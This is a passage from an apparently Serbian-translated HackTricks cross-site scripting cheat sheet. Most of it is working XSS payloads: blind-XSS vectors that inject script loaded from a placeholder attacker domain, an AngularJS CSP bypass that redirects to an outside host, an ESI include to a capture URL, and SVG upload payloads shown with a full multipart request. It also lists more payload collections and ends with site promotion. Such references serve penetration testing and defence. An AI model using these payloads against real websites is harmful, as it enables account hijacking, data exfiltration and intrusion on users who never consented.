"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Pristup skrivenom sadržaju
Iz ovog objašnjenja moguće je naučiti da čak i ako neke vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a i dalje je moguće pronaći nakon što je vrednost unosa REGEX-a uklonjena:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Lista Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
Zloupotreba drugih ranjivosti XSS-a
XSS u Markdown-u
Možete ubaciti Markdown kod koji će biti prikazan? Možda možete dobiti XSS! Proverite:
{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}
XSS ka SSRF-u
Imate XSS na sajtu koji koristi keširanje? Pokušajte nadograditi to na SSRF kroz ubacivanje Edge Side Include Injection sa ovim payload-om:
<esi:include src="http://yoursite.com/capture" />
Koristite ga da biste zaobišli ograničenja kolačića, XSS filtere i mnogo više!
Više informacija o ovoj tehnici možete pronaći ovde: XSLT.
XSS u dinamički kreiranom PDF-u
Ako veb stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da prevarite bota koji kreira PDF da izvrši proizvoljan JS kod.
Dakle, ako bot za kreiranje PDF-a pronađe neke vrste HTML tagova, on će ih interpretirati, i možete zloupotrebiti ovu ponašanje da biste izazvali Server XSS.
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
Ako ne možete ubaciti HTML tagove, vredno je pokušati ubaciti podatke u PDF:
{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}
XSS u Amp4Email-u
AMP, sa ciljem ubrzanja performansi veb stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi se osigurala funkcionalnost sa naglaskom na brzinu i sigurnost. Podržava niz komponenti za različite funkcije, dostupnih putem AMP komponenti.
Format AMP za Email proširuje određene AMP komponente na e-poštu, omogućavajući primaocima da direktno interaguju sa sadržajem unutar svojih e-poruka.
Primer writeup XSS u Amp4Email-u u Gmail-u.
XSS otpremanje fajlova (svg)
Otpremite kao sliku fajl poput sledećeg (sa http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Pronađite više SVG payloada na https://github.com/allanlw/svg-cheatsheet
Razne JS Trikovi & Relevantne Informacije
{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}
XSS resursi
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno).
{% embed url="https://www.stmcyber.com/careers" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.